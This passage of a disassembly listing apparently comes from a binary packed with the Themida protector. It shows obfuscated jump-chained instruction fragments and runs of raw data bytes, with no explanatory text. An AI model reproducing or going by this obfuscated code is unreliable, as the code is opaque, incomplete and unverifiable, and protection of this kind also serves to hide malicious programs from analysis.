; ---------------------------------------------------------------------------
		dd 0F6E9CB01h, 8BFFFFA8h, 0C483243Ch, 0FD442D04h, 0C2892BA3h
		dd 5724048Bh, 0FF4FA1E9h, 0C4835DFFh, 6DE0E904h, 0C283FFFFh
		dd 0E6895602h, 4C681h, 0EE830000h, 24348704h, 2414895Ch
		dd 42474FFh, 0BE67E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E826:				; CODE XREF: Themida_:005572F5j
		not	ecx
		jmp	loc_556390
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 0FFh
		dd 0EE6EE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E836:				; CODE XREF: Themida_:0055966Dj
		mov	ebx, ecx
		pop	ecx
		add	ebx, 7C284E3Ch
		add	ebx, eax
		sub	ebx, 7C284E3Ch
		push	ebp
		jmp	loc_559E55
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 44810000h, 350F0424h, 6C017487h, 6C810424h, 350F0424h
		dd 0FF5D7487h, 815F2434h, 4C4h,	57B95100h, 0E92BC06Fh
		dd 0FFFFEA38h, 0D0BCEF81h, 0FB3179D8h, 8BD8315Fh, 0E955241Ch
		dd 0FFFFEB38h, 83243C8Bh, 0C08304C4h, 63A2E902h, 0F389FFFFh
		dd 0BBE6E95Eh, 0C681FFFFh, 4, 4BD55h, 0EE290000h, 2434875Dh
		dd 242C895Ch, 3766BE56h, 0E68148FAh, 4E516429h,	85E9D6F7h
		db 0AEh, 2 dup(0FFh)
byte_55E8CF	db 66h			; DATA XREF: Themida_:005533B8o
		dd 68240C8Bh, 507Ah, 89241489h,	846853E2h, 89000024h, 7ABA2414h
		dd 0C123931Bh, 0C28108EAh, 0FFDC6CE9h, 15AD389h, 2434FFDAh
		dd 4C4815Bh, 0E9000000h, 0FFFFFEFEh, 0DA337968h, 0BF575837h
		dd 6EB96274h, 36E9F829h, 89FFFF7Dh, 0E9562404h,	0FFFF7E14h
; ---------------------------------------------------------------------------


loc_55E924:				; CODE XREF: Themida_:0055CF30j
		and	ecx, eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55837A
; ---------------------------------------------------------------------------
byte_55E931	db 66h,	8Bh, 4		; DATA XREF: Themida_:005532D8o
		dd 4EC8124h, 0E9000000h, 0FFFF6D0Fh, 679BCE81h,	0F6817E4Fh
		dd 0FF4FEF9Dh, 0FF566CE9h, 28E4BBFFh, 0EBC1044Fh, 0D0C38104h
		dd 8176FC7Ch, 542F1EEBh, 0E9D88924h, 0FFFFEC76h
; ---------------------------------------------------------------------------


loc_55E96C:				; CODE XREF: Themida_:005573C0j
		mov	cl, dh
		pop	edx
		xor	cl, ah
		pop	eax
		jmp	loc_55D862
; ---------------------------------------------------------------------------
		db 66h
		dd 0F001665Bh, 0FF52BFE9h, 4C781FFh, 0E9000000h, 0FFFF615Ch
		dd 8704C683h, 815C2434h, 982534EBh, 81D3015Ch, 982534C3h
		dd 0E9505A5Ch, 0FFFFD50Ch
; ---------------------------------------------------------------------------


loc_55E9A8:				; CODE XREF: Themida_:00554097j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55E091
; ---------------------------------------------------------------------------


loc_55E9B3:				; CODE XREF: Themida_:00557B14j
		neg	ebp
		and	ebp, 73727B41h
		add	ebp, 8CFDA503h
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55D7B7
; ---------------------------------------------------------------------------


loc_55E9D9:				; CODE XREF: Themida_:0055A25Fj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_558D56
; ---------------------------------------------------------------------------


loc_55E9E4:				; CODE XREF: Themida_:00553EEEj
		mov	ecx, [esp]
		push	ecx
		jmp	loc_55830B
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C3h
		dd 55307D7Ch, 245C0158h, 34FF5B04h, 24148B24h, 0E904C483h
		dd 0FFFF900Dh, 69E957h,	4050000h, 0E9000000h, 0FFFFE75Dh
		dd 0CA3AE953h, 0CFBDFFFFh, 0F700465Bh, 81DDF7DDh, 1A622FF5h
		dd 24C58152h, 1ADA3C6h,	0C875DE9h, 0E9815C24h, 7D674C2Ch
		dd 0FF567CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EA45:				; CODE XREF: Themida_:005580A6j
		push	6BFAh
		mov	[esp], esi
		jmp	loc_55C259
; ---------------------------------------------------------------------------
		dw 55Fh
		dd 616D2830h, 302DF001h, 5E616D28h, 5C240487h, 0FF52CDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EA69:				; CODE XREF: Themida_:00553CEDj
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_558C33
; ---------------------------------------------------------------------------
		db 0BFh
		dd 17184F29h, 0A8E9FA89h, 68FFFFE8h, 2B24h, 81243C89h
		dd 4ECh, 48F5400h, 0B2E95524h, 68FFFFFDh, 125Fh, 0E9240C89h
		dd 0FFFF4A77h, 6311BF57h, 15E976FAh, 1FFFF50h, 14335FFAh
		dd 0D2D0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EABE:				; CODE XREF: Themida_:00553FD4j
		mov	[esp], bx
		mov	bh, 79h
		add	al, bh
		mov	bx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		jmp	loc_55B5FC
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 50E58924h, 0FF4AEEE9h, 81C301FFh, 0A71D84EBh, 1EC38159h
		dd 522D494Dh, 932714BAh, 72E9575Fh, 53FFFF8Ch, 0BBh, 87FB2900h
		dd 6EE95BDFh, 66FFFF96h, 662B66BEh, 9CE9F331h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55EB1F:				; CODE XREF: Themida_:0055417Ej
		sub	ebx, 387D46E3h
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_55FB4E
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 25h
		dd 0F765E24Eh, 74EA81D2h, 81071657h, 180B28E2h,	0E9DAF744h
		dd 0FFFFF8FEh
; ---------------------------------------------------------------------------


loc_55EB50:				; CODE XREF: Themida_:0055621Fj
		add	ebp, 4
		jmp	loc_557C20
; ---------------------------------------------------------------------------
		db 66h
		dd 0F5BB6653h, 0D8016676h, 0FFFE0EE9h
		db 0FFh
byte_55EB69	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00553258o
		dd 0E1895159h, 4CC6E953h, 62BFFFFFh, 0C108CA48h, 72E905E7h
		dd 80000007h, 0CC88B2C1h, 4EB65259h, 515AF400h,	7BE9CDB5h
		dd 4FFFFB6h, 8B6659DBh,	0C481241Ch, 2, 0A6768h,	240C8900h
		dd 0E9DAB252h, 0FFFF9D9Ch
; ---------------------------------------------------------------------------


loc_55EBB4:				; CODE XREF: Themida_:00559390j
		mov	eax, 70B7229h
		shl	eax, 3
		and	eax, 76045AC1h
		jmp	loc_553D9B
; ---------------------------------------------------------------------------
aM0HI		db '¬0ØhœI',0           ; DATA XREF: Themida_:005533FCo
		align 2
		dw 0FAE9h
		dd 5FFFF8Fh, 4,	405h, 24048700h, 0FFCD56E9h, 0F18141FFh
		dd 7F9609F2h, 0BA524949h, 42CF07D8h, 8107E2C1h,	6D41D0F2h
		dd 0CAB0E971h, 481FFFFh, 424h, 0C7815F00h, 4, 26852h, 295A0000h
		dd 0B797E9D7h, 1489FFFFh, 2474FF24h, 24148B04h,	8F04C483h
		dd 248B2404h, 0B7E6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EC36:				; CODE XREF: Themida_:0055CEEAj
		mov	ebx, esi
		jmp	loc_55BA20
; ---------------------------------------------------------------------------
		db 5Eh,	56h, 89h
		dd 4BD55E6h, 1000000h, 0C6835DEEh, 24348704h, 0FFEC2FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EC55:				; CODE XREF: Themida_:0055EDA8j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_556F29
; ---------------------------------------------------------------------------
		dw 0E7D0h
		dd 80C7F780h, 0F90051C7h, 0FF7C82E9h, 0E9CAFEFFh, 0FFFFFB0Eh
; ---------------------------------------------------------------------------


loc_55EC7C:				; CODE XREF: Themida_:0055E620j
		push	edx
		jmp	loc_55CE28
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0B60F6624h, 0E0686600h, 4896663h, 0C73BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EC96:				; CODE XREF: Themida_:0055C3EFj
		add	esp, 4
		not	eax
		add	eax, 980C40CDh
		sub	[edi+24h], eax
		pop	eax


loc_55ECA4:				; CODE XREF: Themida_:00558FE6j
		push	ecx
		jmp	loc_55504B
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 0FFFFE981h, 0C981FFFFh, 9F301AEh, 0FFDF7EE9h, 4B704FFh
		dd 2434FF9Eh, 0E9240C8Bh, 0FFFFB4DCh, 51243C8Bh, 0C181E189h
		dd 4, 4BF57h, 0C1810000h, 0DD96B86h, 0FF8A99E9h, 5BDA89FFh
		dd 685AD701h, 57Eh, 0FF243C89h,	0E9042474h, 0FFFF5B35h
dword_55ED00	dd 56D831ADh, 826F6FBEh, 0D7F68162h, 81653040h,	2A582BC6h
					; DATA XREF: Themida_:00553424o
		dd 0E6BB5362h, 537E9629h, 5B2414F7h, 0BCB9BF57h, 0FB31DCEAh
		dd 4A4E9h, 7E95C00h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ED33:				; CODE XREF: Themida_:00558619j
		xor	eax, ecx
		pop	ecx
		jmp	loc_55357C
; ---------------------------------------------------------------------------
		db 81h
		dd 0D144BEF3h, 0DD47E9C2h, 6704FFFFh, 5351D828h, 79E967B3h
		dd 0BEFFFF97h, 4CD736AAh, 295EF589h, 0C1815DE9h, 40746B2Fh
		dd 0BE56E901h, 449D11E6h, 8B26E946h, 489FFFFh, 4B824h
		dd 0C1890000h, 0FF9A4BE9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	19C2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55EC55
; ---------------------------------------------------------------------------
		align 2
		dw 0E9F0h
		dd 0FFFF48AFh, 8324148Bh, 4C2904C4h, 81590424h,	0F06242Ch
		dd 0B5E92E90h, 88FFFF5Fh, 0B63FE9EFh, 405FFFFh,	87000000h
		dd 0ABE92404h, 81FFFFA3h, 14D4F9C2h, 5AD6016Ah,	0E95EF501h
		dd 0FFFFD3DFh
dword_55EDF0	dd 0FF2434FFh, 34FF2434h, 0C4835824h, 4C48304h,	0B530E952h
					; DATA XREF: Themida_:00553414o
		dd 6F21FFFFh, 2434FF1Ch, 4C4835Dh, 0FFB2C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EE15:				; CODE XREF: Themida_:005554BEj
		mov	edx, 57B96AADh
		xor	edx, 4FE855D4h
		add	edx, 1DDD232Bh
		jmp	loc_55F673
; ---------------------------------------------------------------------------
		db 1
		dd 12E959CFh, 56FFFF78h, 0C681E689h, 4,	4EE81h,	39E90000h
		dd 57000007h, 74069CBFh, 89BAE966h, 5966FFFFh, 5105EEC0h
		dd 0E1C0E3B1h, 9BC18004h, 0E959CE30h, 0FFFF7E21h
dword_55EE68	dd 0B0E9028Fh, 31FFFF46h, 0B8505FFBh, 7BBD4B82h, 540D8F7h
					; DATA XREF: Themida_:00553428o
		dd 7E0C9D40h, 85E9C329h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EE87:				; CODE XREF: Themida_:0055C351j
		pop	esi
		jmp	loc_55B4B1
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 6424248Bh, 0E9028966h, 0FFFF4683h, 0CB93E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EEA2:				; CODE XREF: Themida_:005555A2j
		pop	ebp
		and	eax, edx
		pop	edx
		shr	eax, 12h
		jmp	loc_55CFA9
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 0B2274137h, 0A43B850h, 0F793074Bh, 710593D3h, 15F9D69h
		dd 0EE2958C6h, 5B2B68h,	24048900h, 525F2DB8h, 0E9C62958h
		dd 0FFFFE507h, 0D6E9DBF7h, 68FFFFBCh, 219Ch, 54241C89h
		dd 0E389535Bh, 4C381h, 0EB810000h, 4, 0FF9F3DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EF01:				; CODE XREF: Themida_:00557EBAj
		add	ecx, 211806C7h
		shr	ecx, 7
		sub	ecx, 562EA333h
		mov	eax, ecx
		pop	ecx
		mov	edi, eax
		pop	eax
		sub	ebx, 20FA0BCDh
		sub	ebx, edi
		add	ebx, 20FA0BCDh
		pop	edi
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55AC29
; ---------------------------------------------------------------------------


loc_55EF32:				; CODE XREF: Themida_:00556AE2j
		sub	ecx, 3A6060CAh
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55FAD8
; ---------------------------------------------------------------------------
		dd 875C8859h, 2434FF01h, 5854505Bh, 405h, 0C669E900h, 0C483FFFFh
		dd 4E98304h, 8B240C87h,	14892424h, 81E28924h, 4C2h, 4C28300h
		dd 4EC81h, 0E1E90000h, 68FFFF7Eh, 4, 0FFB5CDE9h, 4315CFFh
		dd 8CE99C24h, 8BFFFF45h, 8B662424h, 8952240Ch, 0C434E9E2h
		dd 0C281FFFFh, 1, 0D17F281h, 0BB531AD8h, 6F9F16FFh, 515BDA09h
		dd 33575DB9h, 0E9CA3161h, 0FFFF5E57h, 24048B54h, 0E904C483h
		dd 0FFFF4A90h, 8104E5C1h, 26712C5h, 0F0E981E5h,	291F501Fh
		dd 0CFD3E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EFE6:				; CODE XREF: Themida_:0055826Cj
		sub	dh, al
		pop	eax
		sub	dh, 20h
		jmp	loc_557F8B
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0CFh
		dd 6B927D83h, 6F7BF781h, 0E7C16BC6h, 0FEC78104h, 31E2611Bh
		dd 3ABE9FAh, 0C2810000h, 1EBF0DECh, 0EC81C201h,	4, 68240C89h
		dd 8EDh, 68240489h, 78127168h, 31BE0558h, 0BE3571DCh, 89986587h
		dd 0C18158C1h, 0AD33E954h, 8E9CA29h, 83FFFF67h,	0C68104C4h
		dd 4, 0E904EC83h, 0FFFF80A2h
; ---------------------------------------------------------------------------


loc_55F058:				; CODE XREF: Themida_:00553AA9j
		or	eax, eax
		jz	loc_555DBB
		push	13Dh
		mov	[esp], eax
		jmp	loc_55445E
; ---------------------------------------------------------------------------


loc_55F06D:				; CODE XREF: Themida_:0055BA30j
		not	dword ptr [esp]
		jmp	loc_556C58
; ---------------------------------------------------------------------------
		db 0BBh, 2, 0
		dd 0DD290000h, 0D388E95Bh, 489FFFFh, 1E0C6824h,	0E9580856h
		dd 0FFFFD443h
dword_55F090	dd 4AD1E9ADh		; DATA XREF: Themida_:005534B4o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F096:				; CODE XREF: Themida_:0055AEEBj
		pop	eax
		push	edx
		mov	edx, ebx
		mov	edi, edx
		pop	edx
		pop	ebx
		add	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5582F6
; ---------------------------------------------------------------------------


loc_55F0AC:				; CODE XREF: Themida_:00555E48j
		mov	[esp], ebp
		push	edx
		jmp	loc_55CF65
; ---------------------------------------------------------------------------


loc_55F0B5:				; CODE XREF: Themida_:00555CF1j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55CF1F
; ---------------------------------------------------------------------------
byte_55F0C9	db 66h,	8Bh, 4		; DATA XREF: Themida_:00553308o
		dd 4EC8124h, 89000000h,	0E589242Ch, 9099E956h, 0CD01FFFFh
		dd 81240C8Bh, 4C4h, 86E95300h, 5FFFFFFh, 60B74DF5h, 0B7E9D001h
		dd 54FFFFE4h, 0B71FE95Fh, 8158FFFFh, 4C4h, 4C48100h, 0E9000000h
		dd 0FFFF440Bh
; ---------------------------------------------------------------------------


loc_55F114:				; CODE XREF: Themida_:0055F5D4j
		push	eax
		jmp	loc_554132
; ---------------------------------------------------------------------------
		dw 5659h
		dd 4203C9BEh, 2E6C115h,	2414F756h, 77EE815Eh, 0E9597771h
		dd 0FFFF76BAh, 783FCA81h, 56423DCCh, 4888FBBEh,	0BABBE9A3h
		dd 0C781FFFFh, 0F9DA6424h, 295FFA89h, 0B8CCE9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F156:				; CODE XREF: Themida_:00553F3Cj
		xor	eax, ecx
		jmp	loc_55A16E
; ---------------------------------------------------------------------------
byte_55F15D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005532F4o
		dd 78EE9h, 4DE94D00h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F16B:				; CODE XREF: Themida_:00555132j
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		push	267Ah
		mov	[esp], eax
		push	245Dh
		mov	[esp], ecx
		jmp	loc_55F440
; ---------------------------------------------------------------------------


loc_55F188:				; CODE XREF: Themida_:00553AF9j
		mov	edi, eax
		pop	eax
		jmp	loc_5564BF
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 0FFFFCDC9h, 31242C33h, 2C33242Ch, 24248B24h
		dd 66E9F766h, 0E94A6A68h, 0FFFFB23Dh
; ---------------------------------------------------------------------------


loc_55F1B0:				; CODE XREF: Themida_:00554DC2j
		add	edi, ebp
		push	ecx
		mov	ecx, 17ED4256h
		sub	edi, ecx
		jmp	loc_557EBF
; ---------------------------------------------------------------------------
		db 66h
		dd 4245401h, 4CE95066h,	5BFFFFADh, 0FF434EE9h, 0C6815FFFh
		dd 1B694E17h, 0BA52DE29h, 1B694E17h, 148BD629h,	4C48124h
		dd 0E9000000h, 0FFFFB7DEh, 42474FFh, 24048F58h,	0FFECA1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F1FD:				; CODE XREF: Themida_:0055426Dj
		sub	ebx, esi
		pop	esi
		mov	ecx, ebx
		jmp	loc_55E054
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89522414h, 4C281E2h,	0E9000000h, 0FFFF467Dh
; ---------------------------------------------------------------------------


loc_55F218:				; CODE XREF: Themida_:0055DA19j
		dec	esi
		xor	esi, 285E2C9Bh
		sub	esi, 302A2496h
		add	edi, esi
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5587F0
; ---------------------------------------------------------------------------
		dw 0CB81h
		dd 6DE042BFh, 0AE9DBF7h, 81FFFF48h, 296E42C6h, 36C68161h
		dd 0F77D5903h, 96C681DEh, 896EDFF4h, 0BD555EF0h, 14220961h
		dd 3D87CD81h, 44E96D2Dh
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F26B:				; CODE XREF: Themida_:00558744j
		pop	esp
		mov	[esp], ebx
		push	eax
		jmp	loc_55E36C
; ---------------------------------------------------------------------------
aUhle		db 'UhlE',0
		dw 8900h
		dd 0BB532424h, 451D2259h, 1AF6C381h, 64E97E3Bh,	81000001h
		dd 8B08246Ch, 10C003Bh,	8108244Ch, 8B082444h, 0E90C003Bh
		dd 0FFFFC94Dh, 20E9FE89h, 0FFFFFFC3h, 8B042474h, 86E9243Ch
		dd 66FFFF9Dh, 0DE21665Eh, 0B966515Bh, 81662066h, 66345EC9h
		dd 66FFC183h, 808C181h,	5E1C166h, 0CAC18166h, 0CE29660Dh
		dd 0FFBE0CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F2E5:				; CODE XREF: Themida_:0055D87Fj
		add	esp, 4
		jmp	loc_55569A
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFAFC0E9h, 5EFC1FFh, 0B7A2C781h, 0B1E9FF35h, 87FFFFA7h
		dd 895C2414h, 56BB241Ch, 0E9056F76h, 0FFFFF311h, 0BDDBED81h
		dd 0FDE917FBh
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F31F:				; CODE XREF: Themida_:00558017j
		push	esp
		pop	esi
		jmp	loc_55BF81
; ---------------------------------------------------------------------------


loc_55F326:				; CODE XREF: Themida_:0055C937j
		mov	esp, [esp]
		push	3A0h
		mov	[esp], ebp
		jmp	loc_559819
; ---------------------------------------------------------------------------
		dw 8957h
		dd 0C3BA52E7h, 810AE94Dh, 0C957ACCAh, 0EBEA8113h, 811BE95Fh
		dd 441D05EFh, 0D611E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F356:				; CODE XREF: Themida_:00557F8Dj
		pop	edx
		xor	al, 10h
		jmp	loc_553A2F
; ---------------------------------------------------------------------------
		dw 0CA09h
		dd 0FF4F90E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F365:				; CODE XREF: Themida_:0055705Dj
		mov	ebx, 623A5A49h
		dec	ebx
		jmp	loc_55485C
; ---------------------------------------------------------------------------
		dd 66F1F766h, 66514268h, 66241489h, 9CE99C50h, 57FFFF41h
		dd 0FF5C90E9h, 4EC83FFh, 54240489h, 0FFFDFBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F395:				; CODE XREF: Themida_:0055F8C5j
		mov	[esp], ecx
		xchg	edx, [esp]
		sub	esp, 4
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		xchg	edx, [esp]
		pop	ecx
		xchg	edi, ecx
		jmp	loc_55B987
; ---------------------------------------------------------------------------
		db 57h
		dd 0FFF7BDE9h, 82E95FFFh, 81FFFFEDh, 0C65195E7h, 0C7814766h
		dd 3470BE03h, 0FFBA4BE9h
		db 0FFh
byte_55F3D1	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005532C8o
		dd 411589Dh, 40E99C24h,	89FFFF41h, 44815FF9h, 9AD0424h
		dd 4C0136DEh, 62E90424h, 81FFFFD1h, 0A7C2B5C3h,	0D362E93Ch
		dd 0F921FFFFh, 81243C8Bh, 4ECh,	9180E900h, 0C583FFFFh
		dd 242C8704h, 4105E95Ch, 5051FFFFh, 967761B8h, 7765B936h
		dd 0C1313696h, 0FFF0D0E9h, 4C483FFh, 0FFB941E9h, 241C33FFh
		dd 0E9241C31h, 0FFFF4FFBh
; ---------------------------------------------------------------------------


loc_55F440:				; CODE XREF: Themida_:0055F183j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_55F6C9
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 41h
		dd 29095E24h, 815F5DEAh, 657C1EEAh, 8923E96Ah, 0E1C1FFFFh
		dd 3E9C106h, 0FF9148E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F46D:				; CODE XREF: Themida_:005550ADj
		shl	esi, 8
		or	esi, 73580B35h
		xor	esi, 0E3F18A48h
		mov	ebx, esi
		pop	esi
		mov	ecx, 61F56FDBh
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	ecx, 1
		jmp	loc_555744
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0A096E904h, 7CE9FFFFh, 31FFFF40h, 0D2F75DEAh, 0FF4B4CE9h
		dd 665166FFh, 0E90002B9h, 0FFFFA91Ch, 0AED2F681h, 87E9E700h
		dd 81FFFFA9h, 4C7h, 86CBE900h, 0C5BFFFFFh, 0F738307Ch
		dd 3E7C1DFh, 0FFF626E9h, 1C180FFh, 302AB652h, 53665AF1h
		dd 4CE9B2B7h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F4EF:				; CODE XREF: Themida_:005592D7j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55D119
; ---------------------------------------------------------------------------
		dd 8803C280h, 24148BD5h, 4C481h, 1CE90000h, 81FFFFE1h
		dd 45E314E9h, 0E9CF8901h, 0FFFFB830h, 0C381E389h, 4, 8704C383h
		dd 685C241Ch, 0BEh, 57241489h, 0FF5914E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F535:				; CODE XREF: Themida_:00557835j
		push	6DA4h
		mov	[esp], ecx
		mov	ecx, 28h
		add	ecx, 7E385EB9h
		add	ecx, edi
		push	edx
		mov	edx, 7E385EB9h
		sub	ecx, edx
		pop	edx
		push	edx
		mov	edx, 0
		add	edx, ecx
		mov	[edx], al
		mov	edx, [esp]
		push	esi
		push	esp
		pop	esi
		push	edi
		jmp	loc_55636E
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0
		dd 56000000h, 0DC5818BEh, 8BC38160h, 0E913CE5Bh, 0FFFF8D55h
		dd 5C243487h, 89240C89h, 99D8E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F58E:				; CODE XREF: Themida_:00558842j
		shr	edx, 4
		jmp	loc_5548EB
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 707CCF81h, 0F78122CCh, 5A0713E9h, 0FF88C1E9h, 7E5C0FFh
		dd 80E5F580h, 0EF88E6EDh, 0FFF82059h, 815B2434h, 4C4h
		dd 1B1D6800h, 1C890000h, 6346824h, 83E90000h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F5D3:				; CODE XREF: Themida_:0055A775j
		pop	esi
		jmp	loc_55F114
; ---------------------------------------------------------------------------


loc_55F5D9:				; CODE XREF: Themida_:0055E11Dj
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	751h
		jmp	loc_55A69C
; ---------------------------------------------------------------------------
		dd 68C0B70Fh, 6F57h, 68242C89h,	1FE9h, 0E9242489h, 0FFFF823Bh
; ---------------------------------------------------------------------------


loc_55F608:				; CODE XREF: Themida_:0055F794j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7FCB7620h
		xor	edi, ecx
		jmp	loc_55E180
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 0C7h
		dd 505BFE52h, 0FB10BEB8h, 58C5297Dh, 8106EDC1h,	661128F5h
		dd 51B85069h, 0F76B7F4Dh, 22D82DD8h, 4C2D30A0h,	830ABA6Fh
		dd 0C3E9FFE8h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F64F:				; CODE XREF: Themida_:0055A0F9j
		xor	edi, [esp]
		xor	[esp], edi
		not	edi
		xchg	edi, [esp]
		pop	ebp
		jmp	loc_553BE6
; ---------------------------------------------------------------------------


loc_55F660:				; CODE XREF: Themida_:0055C033j
		shl	edi, 7
		jmp	loc_55CCEA
; ---------------------------------------------------------------------------
		dd 40BAEE81h, 73E96AA6h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F673:				; CODE XREF: Themida_:0055EE26j
		push	ebp
		mov	ebp, 0C9D19D60h
		jmp	loc_55D9CE
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 0BE0F5C24h, 0F411E9C8h, 34FFFFFFh, 0C4835824h, 241C8B04h
		dd 4C481h, 80E90000h
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F69F:				; CODE XREF: Themida_:0055C5F8j
		xchg	ebp, [esp]
		pop	esp
		push	edx
		push	esi
		mov	esi, 69B06EEFh
		jmp	loc_55B438
; ---------------------------------------------------------------------------
		db 81h
		dd 73F1F9F7h, 973BE939h
		db 2 dup(0FFh)
word_55F6BA	dw 8B66h		; DATA XREF: Themida_:005532DCo
		dd 68502404h, 237Ah, 0FFA038E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F6C9:				; CODE XREF: Themida_:0055F448j
		not	ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	dword ptr [esp]
		jmp	loc_55B10C
; ---------------------------------------------------------------------------
dword_55F6DC	dd 15DB68h, 24148900h, 10685750h, 5F417A26h, 8102E7C1h
					; DATA XREF: Themida_:00553280o
		dd 0E89808EFh, 5FF88905h, 24048150h, 0D903594h,	0FFDA27E9h
		dd 243C33FFh, 0E924248Bh, 0FFFF9618h
; ---------------------------------------------------------------------------


loc_55F710:				; CODE XREF: Themida_:0055ACFBj
		pop	esp
		shr	ecx, 0Ah
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		add	dword ptr [esp], 28E67473h
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5592CE
; ---------------------------------------------------------------------------
		db 52h,	88h, 0C6h
		dd 585AF588h, 0C8BEF00h, 4C48124h, 0
		dd 0BD8EE9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F746:				; CODE XREF: Themida_:0055924Fj
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5576A0
; ---------------------------------------------------------------------------


loc_55F752:				; CODE XREF: Themida_:0055456Dj
		push	5E563768h
		jmp	loc_55C61D
; ---------------------------------------------------------------------------
dword_55F75C	dd 4EC81h, 0E9550000h, 0FFFF41CFh ; DATA XREF: Themida_:005532D4o
; ---------------------------------------------------------------------------


loc_55F768:				; CODE XREF: Themida_:0055D91Ej
		or	ecx, 7A3E6DAEh
		sub	ecx, 7F7F6DABh
		jmp	loc_558087
; ---------------------------------------------------------------------------
